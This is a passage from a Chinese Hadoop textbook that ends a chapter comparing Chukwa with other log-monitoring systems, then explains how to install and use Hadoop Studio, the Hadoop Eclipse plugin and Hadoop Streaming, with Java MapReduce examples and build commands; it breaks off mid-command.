每个小时运行一次MapReduce作业，然后将每小时的日志数据划分为以5分钟为日期单位的日志，并且移动Repos/[clusterName]/[dataType]/[yyyyMMdd]/[HH]/[mm]/[dataType]_[yyyyMMdd]_[mm].[N].evt文件到temp/hourlyRolling/[clusterName]/[dataType]/[yyyyMMdd]和repos/[clusterName]/[dataType]/[yyyyMMdd]/[HH]/[dataType]_HourlyDone_[yyyyMMdd]_[HH].[N].evt中，同时将文件保留到Repos/[clusterName]/[dataType]/[yyyyMMdd]/[HH]/rotateDone/路径下。\n5）DailyChukwaRecordRolling在凌晨1：30运行MapReduce作业，将以小时为单位的日志归类到以日为单位的日志中，同时保留在repos/[clusterName]/[dataType]/[yyyyMMdd]/rotateDone/路径下。\n6）ChukwaArchiveManager大约每半个小时使用MapReduce作业聚集和移除dataSinkArchives中的数据，移动dataSinkArchives/[yyyyMMdd]/*/*.done到archivesProcessing/mrInput和archivesProcessing/mrOutput，以及finalArchives/[yyyyMMdd]/*/chukwaArchive-part-*中。\n7）以下目录下的文件将随时间的增长而增加，因此需要定期清理。\nfinalArchives/[yyyyMMdd]/*\nrepos/[clusterName]/[dataType]/[yyyyMMdd]/*. evt\n17.6 Chukwa与其他监控系统比较\n在了解了Chukwa的特点和如何使用之后，大家或许会问Chukwa监控系统与其他监控系统相比有什么特点，下面我们将通过介绍其他监控系统特点来帮助大家了解Chukwa所具有的特点。\nSplunk[3-6]\n 是一个日志收集和索引分析的商业化系统，它依赖于集中的存储和收集架构，不考虑传输日志的可靠性，然而在高级日志分析领域又有这样的需求：为了满足需求，许多大型互联网公司都已经建了大集群监控和分析高级工具。\n存在一些专门的日志收集系统，在这些系统当中，Scribe[7]\n 是一个开源的监控系统，它的元数据模型比Chukwa简单，消息是key-value对，其优点是灵活，但是缺点是要求用户设计自己的元数据标准，这使得用户之间很难分享源代码。Scribe的部署由多个服务器组成，它们被安排在有向非循环图中，其中的每一个节点对是否提交和存储接收信息都是有具体规定的。相比Chukwa而言，Scribe没有被设计成兼容传统的应用，被监控的系统必须通过Thrift RPC服务发送消息给Scribe。这样的优点在于避免在通常情况下的本地写开销，使消息可以无误地传输；缺点是在对不适用于Scribe的数据源进行收集时需要额外的处理。相对而言，Chukwa处理这样的问题就平滑得多。Scribe在传送上的可靠性也弱于Chukwa。一旦数据被提交到Scribe服务器，服务器将负责处理该数据，而这个服务器为了后续传送会长时间地缓存数据。这就意味着Scribe服务器故障可能造成数据丢失，同时也没有一个端到端的传输保证，这是因为原始发送者没有保留一个副本。客户端在向多个服务器发送消息时，如果在发送失败之前没有找到一个正常工作的Scribe Server，那么数据将会丢失。\n另一个相关的系统是Artemis，它是由Microsoft研究设计的，用来调试大规模Dryad集群。Artemis是为针对上下文而专门设计的：它只在本地处理日志，使用DryadLINQ[9]\n 作为处理引擎。该架构的优点是避免了网络中多个副本的冗余，也使系统资源可以重复利用正在分析和已经分析的结果；缺点是如果一个节点坏掉或暂时不能用，查询会给出错误的结果。Artemis没有被设计成使用长期可靠的存储，因为那需要除本地以外的副本；另外，在本地分析对于监控商业服务来说也是不理想的，因为其分析数据功能可能会干扰正在被监控的系统。\n还有一些其他监控系统工具，像Astrolabe、Pier和Ganglia[10-12]\n 被设计成能帮助用户查询分布式系统监控信息的系统。在所有的情况下，每个被监控机器上的客户端都存储了一定量的数据用于答复查询。因为客户端不收集和存储大数据集的结构化数据，所以它们不适合一般目的的编程模型。它们通过在系统中应用一个特殊的数据聚集策略来实现可扩展性，但是这会耗费较大的系统性能。相比而言，因为Chukwa从收集过程中剥离了分析过程，所以每一个部分部署都可以独立地扩展。\nGanglia擅长实时故障侦测，相对而言，Chukwa会有分钟级的延迟，但考虑到系统能在分钟级处理海量数据，并且能够敏锐侦测到运行变化，同时会对故障诊断有所帮助，而工程师一般不能对秒级别的事件有所反应，所以分钟级的延时是被允许的。\n17.7 本章小结\nChukwa作为Hadoop的子项目，既能帮助Hadoop处理其日志，也能利用MapReduce对日志进行分析处理。在Chukwa的帮助下，Hadoop用户能够清晰了解系统运行的状态，分析作业运行的状态及HDFS的文件存储状态，从而对整个分布式系统状态有形象直观的了解。\n和Hadoop一样，Chukwa也是一个分布式系统，它虽然构建于Hadoop之上，但是本身也有自己的特点。它利用分布在各个节点上Agent进程中的Adaptor收集各个节点被监控的信息，然后以块的形式通过HTTP Post汇集到Collector，再由它处理后转储到HDFS中。之后这些数据由Archiving处理（去除重复数据和合并数据）提纯，再由Demux利用MapReduce将这些数据转换成结构化记录，并存储到数据库中，HICC通过调用数据库中的数据向用户展示可视化后的系统状态。\n要想利用好Chukwa这个工具，就必须对Hadoop的各个配置项都有清晰的认识。同时Chukwa这个项目自身也在不断完善中，感兴趣的读者可以持续跟进。以下是其官网地址：http：//incubator.apache.org/chukwa/。\n本章参考资料\n[1]J. Tan, X.Pan, S.Kavulya, R.Gandhi, and P.Narasimhan.SALSA：Analyzing Logs as StAte Machines.In First USENIX Workshop on Analysis of System Logs（WASL'08），San Diego, CA, December 2008.\n[2]J. Tan, X.Pan, S.Kavulya, R.Gandhi, and P.Narasimhan.Mochi：Visual Log-Analysis BasedTools for Debugging Hadoop.In Workshop on Hot Topics in Cloud Computing（HotCloud'09），San Diego, CA, June 2009.\n[3]http：//management. silicon.com/itpro/0，39024675，39157789，00.html.\n[4]Burns, Bryan；Killion, Dave；Beauchesne, Nicolas；Moret, Eric；Sobrier, Julien；Lynn, Michael；Markham, Eric；Iezzoni, Chris；Biondi, Philippe；Granick, Jennifer；W. Manzuik, Steve；Guersch, Paul.Security Power Tools.O'Reilly Media, Inc..ISBN 0-596-00963-1.\n[5]Schubert, Max；Bennett, Derrick；Gines, Jonathan；Hay, Andrew；Strand, John. Nagios 3 Enterprise Network Monitoring：Including Plug-Ins and Hardware Devices.Syngress.ISBN 1-59749-267-1.\n[6]Splunk Inc. IT Search for Log Management, Operations, Security and Compliance.http：//www.splunk.com/，2009.\n[7]https：//github. com/facebook/scribe.\n[8]G. F.Cret¸u-Ciocˆarlie, M.Budiu, and M.Goldszmidt.Hunting for problems with Artemis.In First USENIX Workshop on Analysis of System Logs（WASL’08），San Diego, CA, December 2008.\n[9]Y. Yu, M.Isard, D.Fetterly, M.Budiu, U.Erlingsson, P.Gunda, and J.Currey.DryadLINQ：A system for general-purpose distributed data-parallel computing using a high-level language.In 8thUSENIX Symposium on Operating Systems Design and Implementation（OSDI'08），San Diego, CA, December 2008.\n[10]R. Van Renesse, K.Birman, and W.Vogels.Astrolabe：A Robust and Scalable Technology for Distributed System Monitoring, Management, and Data Mining.ACM TOCS，21（2）：164-206，2003.\n[11]R. Huebsch, J.Hellerstein, N.Lanham, B.Loo, S.Shenker, and I.Stoica.Querying the Internet with PIER.Proceedings of 19th International Conference on Very Large Databases（VLDB），pages 321-332，2003.\n[12]M. Massie, B.Chun, and D.Culler.The Ganglia Distributed Monitoring System：Design, Implementation, and Experience.Parallel Computing，30（7）：817-840，2004.\n第18章 Hadoop的常用插件与开发\n本章内容\nHadoop Studio的介绍和使用\nHadoop Eclipse的介绍和使用\nHadoop Streaming的介绍和使用\nHadoop Libhdfs的介绍和使用\n本章小结\n18.1 Hadoop Studio的介绍和使用\n 18.1.1 Hadoop Studio的介绍\nHadoop Studio是一个加快Hadoop开发进程的可视化开发环境。Hadoop Studio通过降低Hadoop的使用复杂度，让用户在更少的步骤内完成更多的事情以提高效率。Studio有专业版和大众版两个版本，大众版仅需要注册就可以获得，本章介绍的Studio都指大众版Studio。用户可以通过Hadoop Studio强大的GUI部署Hadoop任务，并监控Hadoop任务的实时信息。它主要有以下优点：\n简化并加快了Hadoop任务模型建立、开发和调试的进程。\n能够实时地定义、管理、可视化和监视作业、集群和文件系统等；能够查看任务的实时工作情况；能够让用户通过观察输入输出和中间结果的工作流程图来管理任务的执行时间。\n具有很强的移植性，能够被部署在任何操作系统和任何版本的私有或公有Hadoop云系统上，且服务能通过代理服务器和防火墙而不受影响。\nHadoop Studio的优点决定了无论用户是只有极少MapReduce或Hadoop开发经验的Java程序员，还是熟练的并行程序开发者，它都能简化用户的工作，提高其工作效率。而这主要是从设计、部署、调试和可视化四个方面来实现的。\n1）设计：由于Studio能够仿真Hadoop系统，所以用户初期建立MapReduce任务模型时就不需要真正的集群，这可以帮助用户迅速上手。\n2）部署：无论用户使用的是私有网络内的集群还是公共网络上的集群，Studio都能简化用户任务的部署而且不受服务器和防火墙的影响。在Hadoop Studio环境下，用户只需要简单几步便可以启动计算任务：首先在Hadoop Jobs中添加生成好的JAR包，然后选择要执行的主类，添加依赖项，并选择执行任务的目标Cluster节点和目标Filesystems即可完成启动。\n3）调试：MapReduce编程中最具挑战性的领域之一就是在集群上调试MapReduce任务。Studio提供了可视化工具和任务实时监控，并支持图表化Hadoop任务执行状态（包括作业类型、完成情况、执行状态、起止时间、报错信息、输出结果等）和查看任务计数器，这都使得调试MapReduce变得容易起来。\n4）可视化：强大的图形用户界面能够使用户不用关注分布式平台的细节就可以编写程序、调试程序、管理集群和文件系统、配置任务信息和日志文件等，这都为用户节省了时间。同时图形界面还能让用户通过实时查看输入输出和中间结果的流程图等其他任务信息来管理任务的执行情况。\nHadoop Studio是一个强大的Hadoop插件，它具有众多优点，能够简化用户Hadoop开发过程，提高用户的效率。\n18.1.2 Hadoop Studio的安装配置\nHadoop Studio专注于简化数据处理。为满足其广泛的可用性，Hadoop Studio开发和部署环境的要求都设计得很简单。表18-1是它的开发和部署环境要求：\n从这个表中可以看出Studio的开发可以基于Eclipse。下面，我们以基于Eclipse（安装在Linux系统上）的大众版Hadoop Studio为例介绍其安装和使用方法。\n基于Eclipse安装Hadoop Studio需要一个集成开发环境（IDE）、Java平台和Java SE，并且首先需要有以下软件的支持，如表18-2所示。\n安装JDK和Eclipse的过程不再赘述，重点介绍安装好JDK和Eclipse之后如何安装基于Eclipse的大众版Hadoop Studio。\nHadoop Studio是Eclipse的一个插件，在启动Eclipse之后依次点击Help菜单下的Install New Software→弹出的Install窗口→Add，然后在弹出的Add Repository窗口中填入以下信息：\nName：Karmasphere Studio Plugin\nLocation：http：//updates. karmasphere.com/dist/＜＜serial_key＞＞/Eclipse/site.xml\n填完之后点击OK。接下来在Install窗口下会出现可能需要安装的插件，选择Karmasphere Studio Community Edition或者Karmasphere Studio Professional Edition，之后一直点击Next并选择I accept the terms of the license agreements。接下来Hadoop Studio插件将会自动下载并安装。中途如果出现Security Warning窗口，选择OK安装就会继续。安装结束后重启Eclipse即能正常使用。现在最新版本的Studio是1.11。\n18.1.3 Hadoop Studio的使用举例\n下面以本地MapReduce任务的开发、调试和部署及远程部署为例，介绍Hadoop Studio的使用情况。\n1.本地开发、调试和部署\n（1）本地的开发和调试\nHadoop Studio的任务开发工具允许用户开发并调试MapReduce任务。Hadoop Studio可以降低MapReduce编程的入门门槛，因为有了它，用户可以在不需要集群支持的情况下，不断开发和调试自己的任务以避免延误整个工程的开发周期。接下来我们介绍两个工作流程并说明如何在本地部署它们，让大家熟悉Hadoop Studio开发工具的使用方法，这两个工作流程中一个使用MapReduce预定义类（WordCount Workflow），另一个使用MapReduce自定义类（Pi Project Workflow）。\nWordCount工作流\n1）创建一个名为WordCountProject的Java工程（详细过程略）；\n2）创建一个MapReduce工程。\n为了使用Hadoop Studio，我们需要引用Karmasphere和Hadoop libraries，右键点击步骤1）中创建的Java工程，选择Build Path＞Add Libraries，接着选择弹出窗口中的Hadoop Libraries from Karmasphere并点击Next，在弹出的窗口中选择Karmasphere Client for Hadoop并点击finish。然后右键点击WordCountProject工程，选择New＞Other，接着选择Hadoop Jobs下的Hadoop Map-Reduce Job（Karmasphere API）并点击finish。再然后展开Eclipse工作区面板中的WordCountProject，双击src下的HadoopJob.wordfolw。出现下面的界面（如图18-1所示）：\n图 18-1 Hadoop Studio工程配置图\n点击窗口界面中第一行的Bootstrap按钮，再点击相应页面中的Browse按钮，打开文件系统上的一个文件，然后保存工程。这样Studio就会为你的工程生成所有的代码并且进行编译。在图18-1的窗口中有很多选项卡，点击各个选项卡用户可以查看自己工程所处的状态和输入数据在各个时间点对工程的影响。用户也可以点击选项卡设置对应的工程配置参数。\n现在先点击Input选项卡，在Class name一栏中输入org.apache.Hadoop.mapred.TextInputFormat，将输入文件的格式设定为TextInputFormat。再点击Mapper选项卡，在Class name一栏输入org.apache.Hadoop.mapred.lib.TOKenCountMapper，为Mapper的计数令牌设定类的格式。接着点击Partitioner选项卡，在Class name一栏输入org.apache.Hadoop.mapred.lib.HashPartitioner，以设定Partitioner的类。随后点击Comparator选项卡，在Class name一栏输入org.apache.Hadoop.io.Text.Comparator选定Text Comparator。然后点击Combiner，在Classname一栏输入org.apache.Hadoop.mapred.lib.IdentityReducer，选定Identity Reduce。再然后点击Reducer，在Class name一栏输入org.apache.Hadoop.mapred.lib.LongSumReducer，选定Long Sum Reducer。最后点击Output选项卡，在Class name中输入org.apache.Hadoop.mapred.TextOutputFormat，以设定output的数据类型。\nPi Project工作流\n1）创建新的Java工程，按照上面WordCountProject中添加工作流的步骤添加一个工作流。如图18-2所示。\n图 18-2 Hadoop Studio新创建的工程图\n2）右键点击PiProject，选择New→Other。选择New窗口中Hadoop Types下的Hadoop Mapper，然后点击finish。Package Explorer中的PiProject工程下会出现HadoopMapper.java，按照同样的步骤添加HadoopReducer.java。双击HadoopMapper.java打开界面，输入下面的代码：\npackage cn.edu.ruc.cloudcomputing.book.chapter18；\nimport java.util.Random；\nimport java.io.IOException；\nimport org.apache.Hadoop.mapred.MapReduceBase；\nimport org.apache.Hadoop.mapred.Mapper；\nimport org.apache.Hadoop.mapred.OutputCollector；\nimport org.apache.Hadoop.mapred.Reporter；\nimport org.apache.Hadoop.io.Text；\nimport org.apache.Hadoop.io.LongWritable；\n/**\n*\n*/\npublic class HadoopMapper extends MapReduceBase implements Mapper＜Text, Text, Text，\nLongWritable＞{\npublic void map（Text key, Text value, OutputCollector＜Text, LongWritable＞output，\nReporter reporter）\nthrows IOException{\nRandom generator=new Random（）；\nint i；\nfinal int iter=100000；\nfor（i=0；i＜iter；i++）\n{\ndouble x=generator.nextDouble（）；\ndouble y=generator.nextDouble（）；\ndouble z；\nz=x*x+y*y；\nif（z＜=1）\noutput.collect（new Text（\"VALUE\"），new LongWritable（1））；\nelse\noutput.collect（new Text（\"VALUE\"），new LongWritable（0））；\n}\n}\n}\n}\n再双击HadoopReducer.java打开界面，输入下面代码：\npackage cn.edu.ruc.cloudcomputing.book.chapter18；\nimport java.io.IOException；\nimport java.util.Iterator；\nimport org.apache.Hadoop.mapred.MapReduceBase；\nimport org.apache.Hadoop.mapred.OutputCollector；\nimport org.apache.Hadoop.mapred.Reducer；\nimport org.apache.Hadoop.mapred.Reporter；\nimport org.apache.Hadoop.io.Text；\nimport org.apache.Hadoop.io.LongWritable；\nimport org.apache.Hadoop.io.DoubleWritable；\npublic class HadoopReducer extends MapReduceBase implements Reducer＜Text, LongWrit-\nable, Text, DoubleWritable＞{\np u b l i c v o i d r e d u c e（T e x t k e y, I t e r a t o r＜L o n g W r i t a b l e＞v a l u e，\nOutputCollector＜Text, DoubleWritable＞output, Reporter reporter）\nthrows IOException{\ndouble pi=0；\ndouble inside=0；\ndouble outside=0；\nwhile（value.hasNext（））\n{\nif（value.next（）.get（）==（long）1）\ninside++；\nelse\noutside++；\n}\npi=（4*inside）/（inside+outside）；\noutput.collect（new Text（\"pi\"），new DoubleWritable（pi））；\n}\n}\n右键点击Eclipse菜单栏中的Project选项卡，查看Build Automatically项是否选中，如果没有选中，就点击Project下的Build Project。需要注意的是，Build Automatically对于Studio生成的Hadoop Job默认是选中的。之后点击HadoopJob.wordflow下的Bootstrap，接着点击Browse选择输入文件，并点击input选项卡设定输入格式为org.apache.Hadoop.mapred.KeyValueTextInputFormat。然后点击mapper选项卡输入HadoopMapper选定HadoopMapper。点击Partitioner选项卡输入org.apache.Hadoop.mapred.lib.HashPartitioner选定Hash Partitioner。点击Comparator选项卡，输入org.apache.Hadoop.io.TextComparator选定Text Comparator。点击Reducer选项卡，输入HadoopReducer选定Hadoop Reducer。最后点击Output选项卡输入org.apache.Hadoop.mapred.TextOutputFormat选定输出数据格式。\n（2）本地任务部署\nHadoop Studio使用户能够将自己的本地任务部署成线程模式。这里我们介绍将本地工作流任务和JAR包任务部署成线程模式的详细步骤，包括工作流和JAR文件。需要注意的是如果读者使用的是Windows系统，则需要先安装Cygwin模拟Linux环境。\n部署工作流\n打开上面已经创建的PiProject工程中的工作流，点击Eclipse工具栏中最后一个Deploy按钮，设定Deployment窗口中Target Cluster和Data Filesystem的参数值，分别为In-Process Thread（0.20.2）和Local Filesystem C：\\，然后点击OK。当工作流在本地部署完成时，在Output窗口下就可以看到实时执行状态了。\n部署JAR包\n首先还是打开上面已经创建的PiProject工程中的工作流，然后选择Eclipse→window→Open Perspective→Other→Hadoop，点击OK之后会打开Hadoop视图。在Jobs上右键点击选择New Job，输入Job Name，选择Job Type为Hadoop Job from pre-existing JAR file，点击Next，然后选择要部署的JAR文件并点击Next。接着选择Default Cluster为In-Process Thread（0.19.3），设定Default Arguments为pi 10 10000。最后右键点击新建的Job，选择Execute Job。到此JAR文件的部署已经完成。同样在JAR文件部署完成之后，就可以在Output窗口中查看Job的实时执行状态了。\n2.集群部署\n（1）新建Hadoop HDFS\n为了使用HDFS，我们首先需要在Hadoop视图下创建一个文件系统。Hadoop Studio允许用户通过Socket或SSH连接、浏览、读写一个HDFS。它有一个内置的用来展示本地文件系统的选项。\n首先，让我们打开Hadoop视图创建一个文件系统选项。右键点击Filesystem选择New Filesystem，在打开的窗口中输入文件系统的名字并设定Filesystem Type为Hadoop HDFS Filesystem。接下来配置运行HDFS的NameNode。如果计划通过SSH连接，那么需要将NameNode Host配置成localhost，然后再配置NameNode Port、Hadoop Version、Username、Group并点击finish，接下来将连接类型配置成DIRECT，之后点击finish完成文件系统选项的创建。右键点击创建的文件系统选项，选择Open Filesystem可以浏览文件系统项目，Studio将会创建同文件系统的连接，并打开Filesystem Browser窗口以便于用户查看管理文件系统。\n（2）监控HDFS\nHadoop Studio可以图形化地描述HDFS文件系统的状态，在需要查看的文件系统上点击右键选择Monitor status就可以查看。当然前提是用户已经创建了文件系统。\n（3）创建Hadoop集群\n要在分布式Hadoop集群上部署、调试、监控，需要先在Hadoop视图下创建集群选项。Hadoop Studio允许用户在集群上运行自己的任务并通过图表监控集群的状态。\nHadoop Studio有一个内置模拟集群的选项。用户可以用它来运行任务，在测试小数据量上任务的运行时显得尤其有用。在这里将创建一个Hadoop集群，首先需要添加一个新的JobTracker集群。打开Hadoop视图右键点击Hadoop Clusters并选择New Cluster，在出现的窗口输入Cluster Name，选择Cluster Type为Hadoop Cluster（JobTracker），再设定正确的Hadoop Version和Default Filesystem。点击Next之后再配置集群，输入JobTracker Host、JobTracker Port和Username，之后点击Next。接下来配置Hadoop集群的通信机制，有直接通信、Socket和可选SSH。我们这里设置为直接通信。然后点击finish完成Hadoop集群的创建。\n（4）监控正在运行的任务\nHadoop Studio可以解释并显示用户Hadoop集群在运行任务时保存的日志文件和错误诊断信息。这个功能使用户可以监控自己任务的执行情况，并且分析任务的执行结果。当MapReduce Job运行时，Hadoop Studio会切换到Job Monitor视图，在这个视图上用户可以看到任务的执行信息。Job Monitor视图列出了集群上所有任务的信息，选择一个任务并点击Task Monitor按钮，就可以看到这个任务的Summary、Timeline、Logs、Tasks和Config等信息。如果需要监控集群的状态，可以右键点击对应集群并选择Monitor Status, Monitor Status窗口就会列出Map Attempts、Reduce Attempts、Task Trackers和User Accounting的统计表格。\n（5）部署运行任务\nHadoop Studio允许用户部署三种类型的任务：工作流、JAR文件和流任务。这里我们将介绍部署这三种类型任务的步骤。需要注意的是，如果集群通过SSH连接，那么部署的Job必须是通过Hadoop Client创建的（具体过程参考本章相关内容）。另一个需要注意的是保证Hadoop的版本与集群的Hadoop版本一致。\n工作流\n创建一个工作流（过程略）然后点击deploy，在弹出的Deployment窗口中输入Job Name，选择Target Cluster和Data Filesystem，键入输入和输出的参数，然后点击OK。需要注意的是，输入参数的时候需要每个参数都要占一行或者同行参数之间需要空格隔开，并且输出目录应为空或不存在。接下来点击OK，之后工作流就会部署运行了，在Output窗口里可以查看运行情况。\n流任务\n打开Hadoop视图，右键点击Jobs选择New Job。输入Job Name，选择Job Type为Hadoop Streaming Job，点击Next。再输入Input Location和Output Location，点击Next。接着选择Mapper和Reducer的types为Raw Command，在Mapper和Reducer中输入/bin/cat，然后点击finish，如果是自己编写的代码那么就需要在设置Mapper和Reducer时选择Upload。接下来右键点击新建的Job选择Execute Job，在确认各项参数无误之后点击OK，这样，任务就会部署运行，同样可以在Output中查看状态。\nJAR文件\n在集群上部署Jar文件需要用到Hadoop Services。具体步骤是打开Hadoop视图，右键点击Jobs，选择New Job，输入Job Name，选择Job Type为Hadoop Job from pre-existing JAR file，点击Next。在弹出的窗口中浏览文件系统选择Primary Jar file，并输入Main Class，点击Next。接下来需要选择默认集群和默认参数，配置完成之后点击finish。参数输入格式的要求和Job Worflow中相同，然后右键点击新创建的Job，选择Execute Job，确认参数无误之后点击OK，这样，任务就会部署运行，同样可以在Output中查看状态。\n到这里Hadoop Studio的使用方法已经介绍完毕，我们从本机和集群两个角度分别介绍了不同任务的部署和运行，同时还介绍了如何使用Hadoop Studio监控用户任务，以及利用其用户界面简化Hadoop任务的创建、调试、监控和执行。Hadoop Studio的可视化设计和全面的功能大大降低了基于Hadoop项目的开发难度，值得所有Hadoop使用者和开发者使用。\n18.2 Hadoop Eclipse的介绍和使用\n 18.2.1 Hadoop Eclipse的介绍\nHadoop是一个强大的并行框架，它允许任务在其分布式集群上并行处理。但是编写、调试Hadoop程序都有很大的难度。正因为如此，Hadoop的开发者开发出了Hadoop Eclipse插件，它在Hadoop的开发环境中嵌入Eclipse，从而实现了开发环境的图形化，降低了编程难度。在安装插件、配置Hadoop的相关信息之后，如果用户创建Hadoop程序，插件会自动导入Hadoop编程接口的JAR文件，这样用户就可以在Eclipse的图形化界面中编写、调试、运行Hadoop程序（包括单机程序和分布式程序），也可以在其中查看自己程序的实时状态、错误信息和运行结果，还可以查看、管理HDFS及其文件。总的来说，Hadoop Eclipse插件安装简单，使用方便，功能强大，尤其是在Hadoop编程方面，是Hadoop入门和Hadoop编程必不可少的工具。\n18.2.2 Hadoop Eclipse的安装配置\nHadoop Eclipse插件有很多版本，比如Hadoop官方下载包中的版本、IBM的版本等。下面将以Hadoop官方下载包中的插件为例介绍安装和使用方法。安装插件之前先要安装Hadoop和Eclipse（这部分内容略去，直接介绍插件的安装）。需要注意的是，在Hadoop1.0版本中，并没有像0.20版本那样，在HADOOP_HOME/contrib./eclipse-plugin有现成的Eclipse插件包，而是在HADOOP_HOME/src/contrib/eclipse-plugin目录下放置了Eclipse插件的源码。下面将详细介绍如何编译此源码生成适用于Hadoop1.0的Eclipse插件。\n1.安装环境\n操作系统：Ubuntu 11.10\n软件：\nEclipse 3. 7\nJava 1. 6.0_22\nHadoop 1. 0.1\n2.编译步骤\n1）首先需要下载ant和ivy安装包。将下载的两个安装包解压到待安装的目录下，然后将ivy包中ivy-2.2.0.jar包ant安装目录的lib目录下，然后配置/etc/profile中ant的安装目录。在文件的最末尾添加下面内容（请以自己的安装路径替换下面配置内容的路径部分）：\nexport ANT_HOME=/home/ubuntu/apache-ant-1.8.3\nexport PATH=\"$ANT_HOME/bin：$PATH\"\n2）将终端路径定位到Hadoop安装目录下，执行ant compile。这一命令需要执行的时间稍长。\n3）再将终端的路径定位到HADOOP_HOME/src/contrib/eclipse-plugin。然后执行下面的命令，注意-D后紧跟Eclipse安装路径和Hadoop版本，并没有空格。\nant-Declipse.home=/home/ubuntu/eclipse-Dversion=1.0.1 jar\n4）命令执行完之后，就可以在HADOOP_HOME/build/contrib/hadoop-eclipse路径下找到自己生成的Eclipse插件了。下面就可以安装配置Eclipse插件。\n3.安装步骤\n1）将Hadoop Eclipse plugin移动到Eclipse的插件文件夹（即Eclipse\\plugins）中。重启Eclipse。\n2）在Eclipse中打开Hadoop视图。依次选择：Eclipse→Window→perspective→Other，然后选择Map/Reduced并点击OK。Eclipse会出现Hadoop视图。左边Project Explorer会出现DFS Locations，下方选项卡中会出现Map/Reduce Locations选项卡。\n3）在下方选项卡中选中Map/Reduce Locations，然后在出现的空白处右键点击选择New Hadoop location……，这时会弹出配置Hadoop location的窗口。按照下面的提示正确配置Hadoop。\nLocation Name-hadoop\nMap/Reduce Master：\nHost-localhost\nPort-9001\nDFS Master：\nHost-localhost\nPort-9000\nUser name-系统用户名\n配置完成之后点击finish, Map/Reduce Locations下就会出现新配置的Map/Reduce location。Eclipse界面左边的DFS location下面也出现新配置的DFS，点击“+”可以查看其结构。\n到此，Hadoop Eclipse插件已经安装完成，可以辅助大家开发MapReduce程序和管理HDFS集群。由于对于HDFS的管理比较简单，下面仅举例介绍如何使用此插件来简化大家MapReduce程序的编写。\n18.2.3 Hadoop Eclipse的使用举例\n首先打开Hadoop视图（图略），然后右键点击Project Explorer空白处选择New→Project。在创建工程向导中选择创建Map/Reduce工程，然后输入工程名，点击finish，此时Project Explore中会出现新创建的工程。接下来就是编写具体的MapReduce代码了，有两种做法。一种是右键点击新建工程然后新建一个class，并输入自己完整的MapReduce的代码以新建class代码区。注意，代码中的类名要和创建类时输入的类名相同，代码编写完之后直接选择Run on Hadoop即可。另外一种方法是分别建立MapReduce Driver、Mapper、Reducer，再在Hadoop上运行MapReduce Driver。下面详细介绍这两种方法。\n1.方法一\n方法一是在MapReduce工程下创建符合MapReduce程序框架的普通class文件，然后在Hadoop运行。这种办法直接明了，灵活性比较高。具体步骤如下：\n首先在刚才新创建的Hadoop工程上右键点击依次选择New→class，然后点击Next，输入类名TestMapReduce之后点击finish。然后在class文件中输入自己的MapReduce框架函数（本书第6章的程序都可以）。\n然后选中TestMapReduce之后选择Run on Hadoop。在输出窗口就可以看到程序在Hadoop上执行的实时信息。\n需要注意的是，如果选择Run as Java Application，程序会在类似于单机模式的Hadoop上运行，这时程序的输入和输出都是本地的目录，而不是HDFS上的目录。\n2.方法二\n方法二是在创建三个MapReduce框架的类时，会自动添加上继承的类和实现的接口以及接口中需要覆盖的函数，这样大家只需要修改类中的函数即可，非常方便。具体步骤如下：\n首先在刚才新创建的Hadoop工程上右键点击依次选择New→Other→Map/Reduce→Mapper，然后点击Next，输入类名TestMapper之后点击finish。在自动生成的Map函数中输入自己的处理函数。需要注意的是，Mapper抽象类中Map方法的参数类型和自动生成的不匹配，只需要按照提示修改自动生成Map函数的参数类型就可以了。\n接下来在刚才新创建的Hadoop工程上右键点击依次选择New→Other→Map/Reduce→Reducer，然后点击Next，输入类名TestReducer之后点击finish。在自动生成的Reduce函数中输入自己的处理函数。同样需要按照提示修改自动生成Map函数的参数类型，使其和Reducer抽象类中Reduce方法的类型匹配。\n最后在刚才新创建的Hadoop工程上右键点击依次选择New→Other→Map/Reduce→MapReduceDriver，然后点击Next，输入类名TestDriver之后点击finish。如果生成的代码中有下面两行内容：\nconf.setInputPath（new Path（\"src\"））；\nconf.setOutputPath（new Path（\"out\"））；\n这两个内容是配置MapReduce Job在集群上的输入和输出路径，使用的API和Hadoop中的API不匹配。因此需要将这两段代码改成：\nconf.setInputFormat（TextInputFormat.class）；\nconf.setOutputFormat（TextOutputFormat.class）；\nFileInputFormat.setInputPaths（conf, new Path（\"In\"））；\nFileOutputFormat.setOutputPath（conf, new Path（\"Out\"））；\n同时还需要确认Map/Reduce工程下已经创建了输入文件夹In且没有输出文件夹Out。在自动生成的代码中还有下面的两行：\nconf.setMapperClass（org.apache.hadoop.mapred.lib.IdentityMapper.class）；\nconf.setReducerClass（org.apache.hadoop.mapred.lib.IdentityReducer.class）；\n它们的作用是配置MapReduce Job中Map过程的执行类和Reduce过程的执行类，也就是前两个步骤编写的两个Class。所以将这两行修改成下面的内容：\nconf.setMapperClass（TestMapper.class）；\nconf.setReducerClass（TestReducer.class）；\n最后在TestDriver类名上点击右键依次选择Run As→Run on Hadoop，并选择之前已经配置的Hadoop server，点击finish，接下来就可以看到Eclipse开始运行TestDriver了。这里需要注意的问题有两个：\n1）如果任务执行失败，出错提示为Java space heap。这主要是因为Eclipse执行任务时内存不够，导致任务失败，解决的办法是选中工程并点击Run→Run Configuretions，点击出现窗口中间的Arguments选项卡，在VM arguments中写入：-Xms512m-Xmx512m，然后点击Apply，接下来就可以正常执行程序了。这句话的主要作用是配置这个工程可以使用的内存最小值与最大值都是512MB。\n2）如何调试MapReduce程序。安装有Hadoop Eclipse插件的Eclipse可以调试MapReduce程序，调试的办法就是正常Java程序在Eclipse中的调试办法，即设置断点，启动Debug，按步调试。\n18.3 Hadoop Streaming的介绍和使用\n 18.3.1 Hadoop Streaming的介绍\nHadoop Streaming是Hadoop的一个工具，它帮助用户创建和运行一类特殊的MapReduce作业，这些特殊的MapReduce作业是由一些可执行文件或脚本文件充当Mapper或Reducer。也就是说Hadoop Streaming允许用户用非Java的编程语言编写MapReduce程序，然后Streaming用STDIN（标准输入）和STDOUT（标准输出）来和我们编写的Map和Reduce进行数据交换，并提交给Hadoop。命令格式如下：\n$HADOOP_HOME/bin/hadoop jar$HADOOP_HOME/hadoop-streaming.jar\\\n-input myInputDirs\\\n-output 